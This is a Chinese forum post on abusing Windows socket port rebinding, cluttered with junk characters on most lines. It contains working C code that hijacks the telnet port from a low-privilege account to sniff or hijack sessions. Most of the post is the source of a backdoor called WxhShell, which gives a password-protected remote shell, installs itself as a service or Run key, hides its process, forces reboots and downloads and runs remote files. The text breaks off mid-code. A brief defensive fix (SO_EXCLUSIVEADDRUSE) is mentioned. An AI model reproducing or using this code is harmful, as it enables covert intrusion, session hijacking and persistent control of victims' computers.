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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R3>c\mA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uPxJwWXO  
G[6i\Et   
  saddr.sin_family = AF_INET; %j/pln&  
KcUR /o5K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X]o"4#CQIX  
%C rTO(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BwrX.!M  
;2$0j1>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5WvsS( 9H  
)7p(htCz5  
  这意味着什么?意味着可以进行如下的攻击: 'j-U=2,n  
jYvl-2A'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mZG n:f}=  
4;Vi@(G)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DIfQ~O+u  
w ^?#xU1.i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2x<!>B  
Fy0sn|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L6#4A3yh  
}1%%`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |3^U\r^zo  
v^)B [e!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !K0 U..  
" %qr*|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :K5?&kT  
D)Ep!`Q   
  #include )U7fPKQ  
  #include n/x((d%"E  
  #include /='Q-`?9  
  #include    hC9EL= A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?z2!?  
  int main() {3.n!7+  
  { 7t1as.  
  WORD wVersionRequested; 5E*Qqe  
  DWORD ret; (G/(w%#7_  
  WSADATA wsaData; R>]7l!3^1  
  BOOL val; |sY  
  SOCKADDR_IN saddr; )0DgFA6k_  
  SOCKADDR_IN scaddr; E-($Xc  
  int err; T "hjL  
  SOCKET s; wph8ln"C-  
  SOCKET sc; QBGjH^kL  
  int caddsize; ,i Y:#E  
  HANDLE mt; ;9~ WB X"  
  DWORD tid;   jD%|@ux  
  wVersionRequested = MAKEWORD( 2, 2 ); \<\H1;=.@'  
  err = WSAStartup( wVersionRequested, &wsaData ); &]GR*a  
  if ( err != 0 ) { lHDZfwJ&C1  
  printf("error!WSAStartup failed!\n"); K&zW+C b  
  return -1; 99(@O,*(Y  
  } %-$BtR2@o  
  saddr.sin_family = AF_INET; ?@7!D8$9  
   =@S a\;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tTF<DD}8  
<h;_:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `<g6^P  
  saddr.sin_port = htons(23); 5Zd oem  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FJ4,|x3v[x  
  { N  /'  
  printf("error!socket failed!\n"); .ZV='i()X  
  return -1; j S[#R_  
  } sp MYn&p  
  val = TRUE; wGw~ F:z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }+bo?~2E&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dJ#go*Gn  
  { O9E:QN<U`*  
  printf("error!setsockopt failed!\n"); LokH4A17U  
  return -1; J3~%9MCJ  
  } RwYFBc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?{jey_]M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S3i p?9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #oFyi @U  
9bM kP2w>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4c95G^dZ  
  { \uZ|2WG`  
  ret=GetLastError(); 8|<</v8i  
  printf("error!bind failed!\n"); =[&+R9s  
  return -1; MnZljB  
  } o ABrhK  
  listen(s,2); )Tp"l"(G  
  while(1) F'sX ^/;  
  { 7(uz*~Z?`0  
  caddsize = sizeof(scaddr); dP +wcl4  
  //接受连接请求 U#]J5'i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,|3_@tUl  
  if(sc!=INVALID_SOCKET) ?o$ t{AQ  
  { WJu(,zM?G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >j3':>\U  
  if(mt==NULL) ]z5hTY  
  { rMHh!)^#W  
  printf("Thread Creat Failed!\n"); C:}1r  
  break; T/2k2r4PD  
  } RgUQ:  
  } t72u%M6  
  CloseHandle(mt); eY'n S  
  } KvEv0L<ky  
  closesocket(s); 7s3=Fa:9Q  
  WSACleanup(); c"-X: m"  
  return 0; XzSl"UPYH  
  }   L+p}%!g  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q{?\qCrrYl  
  { `e~i<Pi  
  SOCKET ss = (SOCKET)lpParam; [@5cYeW3.  
  SOCKET sc; `2LmLFkb  
  unsigned char buf[4096]; {9-9!jN{"  
  SOCKADDR_IN saddr; A%?c1`ZxF  
  long num; cTzR<Yr  
  DWORD val; 4x(m.u@  
  DWORD ret; z-b78A/8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 TukhGgmF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A&p@iE*/  
  saddr.sin_family = AF_INET; }e/vKW fT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `4snTM!v&  
  saddr.sin_port = htons(23); IN<nZ?D#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nDO7  
  {  6?*Do  
  printf("error!socket failed!\n"); 0kj5r*qA  
  return -1; ybqmPT'|_  
  } )W>$_QxbN  
  val = 100; T#i;=NP"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x {Utf$|  
  { yP"}(!~m  
  ret = GetLastError(); |;xEK nF  
  return -1; JbL3/h]  
  } &9)/"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v%AepK&  
  {  YTZ :D/  
  ret = GetLastError(); F-rhxJd  
  return -1; ]&"ii  
  } `h'l"3l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )^ZC'[93  
  { H v/5)  
  printf("error!socket connect failed!\n"); >6jal?4u-  
  closesocket(sc); V^R,j1*  
  closesocket(ss); " "m-5PGYo  
  return -1; )Z1&`rv  
  } 9aLd!P uTN  
  while(1) _AX,}9  
  { 3N- '{c6]U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _s#]WyU1g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~!~i_L\V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u&uFXOc'  
  num = recv(ss,buf,4096,0); &g&,~Y/z;  
  if(num>0) KJ32L  
  send(sc,buf,num,0); Q"D  
  else if(num==0) tc[Ld#  
  break; )W p7e51  
  num = recv(sc,buf,4096,0); } % Ie  
  if(num>0) PN?;\k)"  
  send(ss,buf,num,0); COu5Tu^  
  else if(num==0) YW6a?f^!  
  break; )1B? <4  
  } J&fIW Z  
  closesocket(ss); 4-SU\_  
  closesocket(sc); E56  
  return 0 ; 6'kQ(r>  
  } %q3`k#?<  
ut\ X{.r7  
aT Izf qCM  
========================================================== No6-i{HZ  
.U=x2txb  
下边附上一个代码,,WXhSHELL LEP TL#WT1  
/ 7\q#qIm:  
========================================================== ]r 0j  
iTq&h=(n  
#include "stdafx.h" tt2 S.j  
oF>`>  
#include <stdio.h> Z81;Y=(  
#include <string.h> |yO%w#  
#include <windows.h> /eH37H  
#include <winsock2.h> Vn kh Y  
#include <winsvc.h> ?xH{7)dO  
#include <urlmon.h> wU!-sf;]y  
(|Gwg\r  
#pragma comment (lib, "Ws2_32.lib") EK=0oy[  
#pragma comment (lib, "urlmon.lib") rf|Nu3AJ  
ru2M"]T  
#define MAX_USER   100 // 最大客户端连接数 ,M?8s2?  
#define BUF_SOCK   200 // sock buffer u8KQV7E  
#define KEY_BUFF   255 // 输入 buffer ^ '|y^t  
LH_H yP_  
#define REBOOT     0   // 重启 (>A#|N1U  
#define SHUTDOWN   1   // 关机 4GF3.?3  
,)*[Xa_n  
#define DEF_PORT   5000 // 监听端口 )uOtQ0  
PkyX,mr#1  
#define REG_LEN     16   // 注册表键长度 i&lW&]  
#define SVC_LEN     80   // NT服务名长度 OYt_i'Q  
4hxP`!<  
// 从dll定义API S-o )d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L-E?1qhP>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qx1Js3%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j>;1jzr2}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .rO~a.kG  
2bTS, N/>  
// wxhshell配置信息 qOy(dG g  
struct WSCFG { N [3Y~HX!q  
  int ws_port;         // 监听端口 us?q^>u  
  char ws_passstr[REG_LEN]; // 口令 DoFe:+_U3  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z]Ud x  
  char ws_regname[REG_LEN]; // 注册表键名 x3FB`3y~s  
  char ws_svcname[REG_LEN]; // 服务名 r2+ZxMo|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ysG1{NOl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^j${#Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~A5NseWCK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WO9vOS>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OAs>F"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >Tl/3{V  
" ]G'^  
}; 2;>uP#1]  
=>c0NT  
// default Wxhshell configuration GqsV 6kH  
struct WSCFG wscfg={DEF_PORT, Z7pX%nj_  
    "xuhuanlingzhe", 5EQ)pH+  
    1, aWRi`poZT  
    "Wxhshell", e8dZR3JL  
    "Wxhshell", ?'a>?al%>  
            "WxhShell Service", u(8{5"C  
    "Wrsky Windows CmdShell Service", ^.)0O3oC  
    "Please Input Your Password: ", oqh@ (<%  
  1, 5<`83; R9  
  "http://www.wrsky.com/wxhshell.exe", qzvht4  
  "Wxhshell.exe" QeFt WjlqC  
    }; (n.IK/:  
iOhX\@&  
// 消息定义模块 ga\ s5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \F`>zY2$%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F7jkl4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =J)-#|eZG  
char *msg_ws_ext="\n\rExit."; f?=0Wzb  
char *msg_ws_end="\n\rQuit."; m%})H"5  
char *msg_ws_boot="\n\rReboot..."; /~WBqcl  
char *msg_ws_poff="\n\rShutdown..."; !9HWx_,|Z  
char *msg_ws_down="\n\rSave to "; oXh t$Q  
P3W3+pwq  
char *msg_ws_err="\n\rErr!"; Ig?9"{9p  
char *msg_ws_ok="\n\rOK!"; *a\x!c"  
/*fx`0mY)  
char ExeFile[MAX_PATH]; G)NqIur*Z  
int nUser = 0; wAW{{ p  
HANDLE handles[MAX_USER]; 8r"-3<*  
int OsIsNt; (z)#}TC  
V*O[8s%5v  
SERVICE_STATUS       serviceStatus; H1q,w|O9j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p|nPu*R-\  
"{E%Y*  
// 函数声明 OhN2FkxL  
int Install(void); Ws0)B8y,|  
int Uninstall(void); f ]_ki  
int DownloadFile(char *sURL, SOCKET wsh); &g90q   
int Boot(int flag); DVwB}W~  
void HideProc(void); :oW 16m1`  
int GetOsVer(void); XSN=0N!GB  
int Wxhshell(SOCKET wsl); xbw;s}B  
void TalkWithClient(void *cs); q>K3a1x  
int CmdShell(SOCKET sock); K@2"n| S;  
int StartFromService(void); Z-4/xi7  
int StartWxhshell(LPSTR lpCmdLine); >#&25,Q  
Y=Ic<WHR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^fO9oPM|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KwaxNb5  
T zS?WYF  
// 数据结构和表定义 }BT0dKx  
SERVICE_TABLE_ENTRY DispatchTable[] = 0/|Ax-dK  
{ sl@>GbnS  
{wscfg.ws_svcname, NTServiceMain}, qhTVsZ:{C  
{NULL, NULL} XABP}|aWK  
}; T YR \K  
wBw(T1VN  
// 自我安装 h,&{m*q&  
int Install(void) 4Ng:7C2  
{ V8WSJ=-&  
  char svExeFile[MAX_PATH]; Z*b l J5YC  
  HKEY key; wE<r'  
  strcpy(svExeFile,ExeFile); [+W<;iep  
J[uH@3v  
// 如果是win9x系统,修改注册表设为自启动 N}#"o  
if(!OsIsNt) { 7Q Ns q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +3XaAk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^yl}/OD  
  RegCloseKey(key); P{ %Urv{U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^^!G{ *F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hq gg*4#  
  RegCloseKey(key); y<nPZ<h  
  return 0; uJ0'`Q?6R9  
    } b|E ZD3y  
  } -~(d_  
} HEc.3   
else { <2<2[F5Q%  
T+RC#&>  
// 如果是NT以上系统,安装为系统服务 [r Nd7-j <  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @^ &p$:  
if (schSCManager!=0) Y d~J(  
{ 9Qu(RbDqC  
  SC_HANDLE schService = CreateService p{ZyC  
  ( @T L|\T  
  schSCManager, Qa:[iF  
  wscfg.ws_svcname, `jOk6;Z[  
  wscfg.ws_svcdisp, %#&njP  
  SERVICE_ALL_ACCESS, t\YM Hq<Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e9/Mjq\  
  SERVICE_AUTO_START, >)diXe}j  
  SERVICE_ERROR_NORMAL, P{n*X  
  svExeFile,  W{Z 7=  
  NULL, W?kJ+1"(  
  NULL, 1k)pJzsc  
  NULL, bd}[X'4d  
  NULL, :HrFbq  
  NULL Svo\+S  
  ); 6yAZvX  
  if (schService!=0) !kb:g]X  
  { 2,g4yXws5  
  CloseServiceHandle(schService); .:Sk=r4u\  
  CloseServiceHandle(schSCManager); [7 r^fD A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tq'ri-c&b  
  strcat(svExeFile,wscfg.ws_svcname); 2cIbX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k#\j\t-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [S~Bt78d%r  
  RegCloseKey(key); 1/;E8{  
  return 0; ~9#x=nU:+V  
    } ;P;c!}:\b  
  } :qB|~"9O  
  CloseServiceHandle(schSCManager); a(?)r[=  
} ?GhMGpd Mq  
} Z'!ORn#M  
{{M/=WqC  
return 1; }hg2}g99  
} W4k$m 2  
@K*W3&TO  
// 自我卸载 B@dCCKc%/  
int Uninstall(void) #6D>e~>n  
{ 9v-Y*\!w.  
  HKEY key; /~;!Ew|q  
(=c,b9cb  
if(!OsIsNt) { b$*2bSdv0<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , #GB  
  RegDeleteValue(key,wscfg.ws_regname); "zXrfn  
  RegCloseKey(key); {n|Uf 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rMjb,2*rC7  
  RegDeleteValue(key,wscfg.ws_regname); kF,ME5%  
  RegCloseKey(key); /)K;XtcN  
  return 0; I 2OQ  
  } 5cU:wc  
} =6=:OId  
} 's5rl  
else { 0QfDgDX  
-Hw3rv3o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gdqBT]j  
if (schSCManager!=0) vV 9vB3K5?  
{ EH M59s|B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }#4Ek8nFR  
  if (schService!=0) &?1^/]'"r  
  { <~w3[i=  
  if(DeleteService(schService)!=0) { 6P>}7R}  
  CloseServiceHandle(schService); =0PGE#d{t  
  CloseServiceHandle(schSCManager); , .;0xyc  
  return 0; srO>l ;Vf/  
  } NR8`nc1~  
  CloseServiceHandle(schService); P3 =#<Q.  
  } lP]Y^Gz  
  CloseServiceHandle(schSCManager); G'w!Aw s  
} ?)k ]Vg.  
} \.H9e/vU`  
>!']w{G  
return 1; kRX?o'U~C  
} GGcODjY>  
w3>11bE  
// 从指定url下载文件 cVxO\M  
int DownloadFile(char *sURL, SOCKET wsh) <`; {gX1  
{ f$-n %7  
  HRESULT hr; 55$';gh,9  
char seps[]= "/"; m F+8Q  
char *token; 7_)38  
char *file; MY c&  
char myURL[MAX_PATH]; (F.w?f4B3  
char myFILE[MAX_PATH]; #<e D  
ceCO*m~  
strcpy(myURL,sURL); qS!N\p~>  
  token=strtok(myURL,seps); zG9D Ph  
  while(token!=NULL) =VZ_';b h  
  { e?+-~]0  
    file=token; m$v >r\*X  
  token=strtok(NULL,seps); \>lA2^E f  
  } yOKzw~;0%  
|?g-8":H8P  
GetCurrentDirectory(MAX_PATH,myFILE); ;A7JX:*?y=  
strcat(myFILE, "\\"); xypgG;`\  
strcat(myFILE, file); NqOX);'L0  
  send(wsh,myFILE,strlen(myFILE),0); (6a<{  
send(wsh,"...",3,0); ?f q!BV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u|AMqS  
  if(hr==S_OK) <)(W7#Ks  
return 0; HKT, 5  
else ,i<cst)$u  
return 1; hf2bM `d  
Avi_]h&  
} _<sN54  
h\3-8m  
// 系统电源模块 Y2.zT6i  
int Boot(int flag) eXK3W2XF  
{ .f-=gZ* *  
  HANDLE hToken; eh]sye KBj  
  TOKEN_PRIVILEGES tkp; .lP',hn  
VWHpfm[r%  
  if(OsIsNt) { ^5TVm>F@3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q jc4IW t~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C f d* Q  
    tkp.PrivilegeCount = 1; ~AX~z)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _FE uQ9E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NjEi.]L*fX  
if(flag==REBOOT) { xYYa%PhIC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?0* [ L  
  return 0; C:5d/9k  
} '#LzQ6Pn  
else { FG{les+:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QdQ1+*/+U  
  return 0; Y.Z:H!P);$  
} mS![J69(  
  } {xov8 M  
  else { 3Xd:LDZ{  
if(flag==REBOOT) { 5toa@#Bc%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AL3iNkEa  
  return 0; J9]cs?`)  
} z5M6  
else { -40X3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _~\ } fY  
  return 0; Is }kCf  
} a%b E}  
} 0^o/c SF  
jED.0,+K !  
return 1; ;e5PoLc  
} T~Bj],k_  
u4SL:IH{D  
// win9x进程隐藏模块 EUcD[Rv  
void HideProc(void) {b4`\ I@<  
{ wDW%v@  
*w*>\ZhOm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -XCs?@8EQ  
  if ( hKernel != NULL ) >Q=^X3to  
  { Q#H"Se  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  w0=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 23L>)Q  
    FreeLibrary(hKernel); jLVD37 P^  
  } =%IyR  
6Nn+7z<*&z  
return; 8t*sp-cy|  
} At=d//5FFP  
N=2T~M 1  
// 获取操作系统版本 C,l,fT  
int GetOsVer(void) =tt3nfZ9  
{ q: FhuOP  
  OSVERSIONINFO winfo; FV "pJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (M$>*O3SR  
  GetVersionEx(&winfo); c6 mS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -X$EE$:  
  return 1; h`1<+1J9  
  else Fl=H5HR  
  return 0; UiH7  
} @g5y_G{SP  
a6DR' BC  
// 客户端句柄模块 xLoQ0rt 6  
int Wxhshell(SOCKET wsl) X7L:cVBg  
{ [I4M K%YQ  
  SOCKET wsh; ~d]v{<3  
  struct sockaddr_in client; SU~.baP?  
  DWORD myID; Y&O2;q/B  
&U]/SFY  
  while(nUser<MAX_USER) <O'U-. Gc  
{ >rEZ$h  
  int nSize=sizeof(client); naf ~#==vc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ySO\9#Ho  
  if(wsh==INVALID_SOCKET) return 1; \'j(@b,  
S5TVfV5LI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z6E =%-`  
if(handles[nUser]==0) V2T% tn;rp  
  closesocket(wsh); JXU ?'@QY  
else ,k4pW&A  
  nUser++; oxc;DfJ_  
  } PJN9[Y{^3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B1nm?E 0i  
C&w0HoF  
  return 0; &F~d~;G"q  
} k"i3$^v8  
\vT~2Y(K  
// 关闭 socket z&d.YO_W  
void CloseIt(SOCKET wsh) iVZ}+Ct<"  
{ xE?KJ  
closesocket(wsh); zs#-E_^%M  
nUser--; e3;D1@  
ExitThread(0); W$zRUG-  
} xo'!$a}I2  
|@JTSz*Or  
// 客户端请求句柄 x0Loid\f  
void TalkWithClient(void *cs) lF!PiL  
{ vNs%e/~vj  
I{(!h90  
  SOCKET wsh=(SOCKET)cs; lgU!D |v  
  char pwd[SVC_LEN]; BVb^xL  
  char cmd[KEY_BUFF]; LsERcjwwK  
char chr[1]; "PI;/(kR  
int i,j; o( zez  
*FC8=U2\X  
  while (nUser < MAX_USER) { C 6 \  
jerU[3  
if(wscfg.ws_passstr) { Y%"$v0D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bOr11?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a`w=0]1&*  
  //ZeroMemory(pwd,KEY_BUFF); 6J,h}S  
      i=0; a pa&'%7  
  while(i<SVC_LEN) { :Pdh##k  
I8J>>H'#A  
  // 设置超时 H;nzo3x  
  fd_set FdRead; 3O$l;|SX  
  struct timeval TimeOut; `Uz.9_6  
  FD_ZERO(&FdRead); ~3:hed7:  
  FD_SET(wsh,&FdRead); YTefEG]|q  
  TimeOut.tv_sec=8; #  `E  
  TimeOut.tv_usec=0; }?Y -I> w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iptA#<Yj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L!Y|`P#Yr  
Ln,<|,fZN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X^eyrqv  
  pwd=chr[0]; Ljz)%y[s  
  if(chr[0]==0xd || chr[0]==0xa) { 2v ~8fr4  
  pwd=0; !FP ]  
  break; (v/L   
  } ,Lp"Ia  
  i++; }VJ>}i*  
    } ,g7O   
(]'wQ4iQ  
  // 如果是非法用户,关闭 socket tB>!1}v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z]8Mv(eL  
} s|<n7 =J  
Q;3`T7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )m7%cyfC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > "F-1{  
]gPx%c  
while(1) { -&2Z/qM&!  
#1J ,!seJ  
  ZeroMemory(cmd,KEY_BUFF); lot`6]  
@ ,X/Wf  
      // 自动支持客户端 telnet标准   ZzE(S  
  j=0; O6y:e #0z  
  while(j<KEY_BUFF) { j67a?0<C2U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9y6u&!PZ\  
  cmd[j]=chr[0]; LD[\eJ _  
  if(chr[0]==0xa || chr[0]==0xd) { GW>F:<p  
  cmd[j]=0; 45.ks.  
  break; )b1hF  
  } QHO n?e  
  j++; cN&Ebn  
    } G>vK$W$f N  
*$0*5d7  
  // 下载文件 }~@/r5Zl  
  if(strstr(cmd,"http://")) { Lf%3-P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n^[a}DX0  
  if(DownloadFile(cmd,wsh)) V"4L=[le  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^x O](,H  
  else Y[7prjd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H[KX xNYZ_  
  } yy{YduI  
  else { fphCQO^#vW  
xW)  
    switch(cmd[0]) { QoxYzln  
  Wd;t(5Xl  
  // 帮助 h623)C;  
  case '?': { MS""-zn<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %^lD  
    break; Gf.ywqE$Y$  
  } L3I$ K+c  
  // 安装 F*U(Wl=  
  case 'i': { }b54O\,  
    if(Install()) OlyW/hd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q9OCf"n$  
    else B`eK_'7t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UeFJ5n'x:  
    break; *RS/`a;,  
    } Fya*[)HBo  
  // 卸载 A;rk4)lij  
  case 'r': { $BehU  
    if(Uninstall()) c9Et Uv~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _$$.5?4  
    else }w4OCN\1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )=GPhC/sw  
    break; u=nd7:bv  
    } K.QSt  
  // 显示 wxhshell 所在路径 hGD@v {/  
  case 'p': { _}p [(sTV  
    char svExeFile[MAX_PATH]; b EcN_7  
    strcpy(svExeFile,"\n\r"); [#Apd1S_  
      strcat(svExeFile,ExeFile); !%65YTxY-  
        send(wsh,svExeFile,strlen(svExeFile),0); npzp/mcIe)  
    break; h'em?fN(  
    } (^iF)z  
  // 重启 tUH?N/qn  
  case 'b': { yOz6a :r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !a UYidd  
    if(Boot(REBOOT)) ,(q] $eOZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +r"}@8/\1  
    else { ?0:]% t18  
    closesocket(wsh);  ( y!o  
    ExitThread(0); RYCiO,+  
    } X7-*`NI^  
    break; w.58=Pr  
    } dz+!yE\f$  
  // 关机 Qqg.z-G%.  
  case 'd': { GFLat  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B /uaRi%  
    if(Boot(SHUTDOWN)) U)f('zD  
